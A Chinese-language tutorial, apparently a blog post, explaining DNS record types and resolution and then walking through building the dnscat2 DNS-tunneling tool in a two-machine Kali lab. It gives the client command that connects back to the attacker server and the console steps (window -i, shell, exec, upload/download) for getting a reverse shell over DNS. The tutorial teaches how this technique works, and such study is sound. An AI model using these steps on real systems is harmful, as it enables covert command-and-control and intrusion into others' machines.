DNS介紹
DNS是域名系統(Domain?Name System)的縮寫,是因特網的一項核心服務,它作為可以將域名和IP地址相互映射的一個分布式數據庫,能夠使人更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。
DNS的記錄類型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些記錄類型來傳輸數據。例如A,MX,CNAME,TXT,NULL等。
A記錄:A記錄是用來指定主機名對應的ip地址記錄,簡單的說A記錄是指定域名對應的IP地址。
AAAA記錄:記錄將域名解析到一個指定的ipv6的ip上
CNAME記錄,別名解析。可以將注冊不同的域名解析到一個ip地址。
NS記錄:域名服務器記錄,用來指定該域名是由哪個DNS服務器進行解析。
MX記錄:指向的是一個郵件服務器。
TXT記錄:一般是指某個主機名或域名的說明
PTR記錄:反向DNS
DNS的解析過程可以分為兩種類型:迭代查詢和遞歸查詢。通常本機到Local?DNS Server的過程屬于遞歸查詢,而Local?DNS Server對查詢域名的解析過程屬于迭代查詢。為了減輕Local?DNS Server的壓力,提高解析速度,引入了緩存機制。緩存和TTL緊密相連,當TTL過期,Local?DNS Server則會丟棄緩存的數據,重新從權威域名服務器上獲取新的數據。
本地客戶端---->Local?DNS server---->根域服務器
Dns解析過程:系統發出dns解析之前會先看看本地是否保存了相關域名的解析,系統檢測到hosts文件中沒有響應的域名解析的時候會發送給本地dns解析服務器進行解析,解析之前會看看緩存中是否存在,如果沒有,再將解析請求發給下一個dns服務器。結果返回后將該域名的解析結果保存到緩存中。
Dnscat2工具介紹
Dnscat2是一個DNS隧道工具,通過DNS協議創建加密的命令和控制通道。
Dnscat2分為client端和server端,client運行在被控機器上,server運行在DNS服務器上。client,server部分分別是用C,ruby寫的。其中作者在實現client部分時實現了跨平臺,支持linux和windows編譯運行。在完成連接建立后可以實現建立shell,上傳下載文件等功能。
使用dnscat2隧道的模式有兩種,分別是直連模式和中繼模式。
- 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求
- 中繼模式:DNS經過互聯網的迭代解析,指向指定的DNS服務器。與直連模式相比,中繼模式的速度較慢
如果目標內網放行所有的DNS請求,dnscat2會使用直連模式,通過UDP的53端口進行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查詢)。在請求日志中,所有的域名都是以?dnscat 開頭的,因此防火墻可以很容易地將直連模式的通信檢測出來
環境搭建
攻擊機/服務端 | kali/2024 | 192.168.227.128 |
靶機/客戶端 | kali/2023 | 192.168.227.130 |
linux服務端搭建
git clone https://github.com/iagox86/dnscat2.git?下載dnscat2工具
cd dnscat2/server/ 進入server目錄,因為我們這里是搭建服務端
gem install bundler
gem install bundler 是一個在 Ruby 環境中使用的命令,用于安裝 Bundler 這個 gem(gem 是 Ruby 的包管理器)Bundler 是一個幫助管理 Ruby 項目依賴的工具,它可以確保你的項目在不同的環境中使用相同版本的 gems
apt-get install ruby-dev
ruby-dev 包包含了 Ruby 的頭文件和靜態庫,這對于編譯和安裝需要構建本地擴展的 Ruby gems 是必需的
bundle install
在 Ruby 項目中,當你看到 bundle install 命令時,它通常用于安裝項目所需的依賴包。這個命令是 Bundler 這個 Ruby gem 的一部分,Bundler 是一個管理 Ruby 項目依賴的工具
linux客戶端搭建
$ git clone https://github.com/iagox86/dnscat2 /*下載工具*/
$ cd dnscat2/client/ ??????????????????????????/*進入目錄*/
$ make ????????????????????????????????????????/*使用makefile來編譯客戶端*/
Dnscat2反彈shell
1.首先在服務端運行
ruby ./dnscat2.rb
紅色方框中的這段復制到客戶機上,記得把IP換成服務端IP:
這里就是192.168.227.128(kali2024的ip)
./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256
客戶端操作
./dnscat --dns server=192.168.227.128,port=53 --secret=ba86ec2ef225dcbcce787849f82e4256
服務端反饋及操作
windows ??列出所有隧道
當前建立好了一條隧道
window -i 1 ??連接客戶端1通道?1表示隧道建立的窗口號
隧道內的操作命令
help可查看控制臺支持的命令,常用的有:
quit (退出控制臺)
kill (中斷通道)
set(設值,比如設置security=open)
windows(列舉出所有的通道)
window -i (連接某個通道)
連接通道后,使用help同樣可以看到其內支持的命令(單個命令后跟-h也會解釋該命令):
clear(清屏)
delay(修改遠程會話超時時間)
exec(執行遠程機上的程序)
shell(得到一個反彈shell)
download/upload(兩端之間上傳下載文件)
supend(返回到上一層,等于快捷鍵ctrl+z)
exit(退出dnscat2)
反彈shell
在當前隧道內輸入shell就會創建一個會話回來
shell
ctrl+z返回到上一層??????
然后我們需要進入這個會話
window -i 6
查看ip
總結
大致步驟就是:
進入服務端的目錄下:安裝Bundler?這個幫助管理?Ruby 項目依賴的工具-->安裝Ruby?開發包-->安裝Bundler?項目所需的依賴包
進入客戶端的目錄下:make(這個命令會嘗試使用?Makefile(如果存在的話)來編譯客戶端。Makefile?是一個腳本,它告訴?make?命令如何編譯和鏈接程序。)
啟動服務端(ruby ./dnscat2.rb)將里面的連接代碼去客戶端運行(默認端口為53)
隧道建立好以后help有一些后續操作,反彈shell直接輸入shell就行了
ctrl+z返回到dnscat2界面輸入windows查看所有通道,然后進入window?-i id反彈回來的shell會話
然后就可以正常執行命令操作目標機器了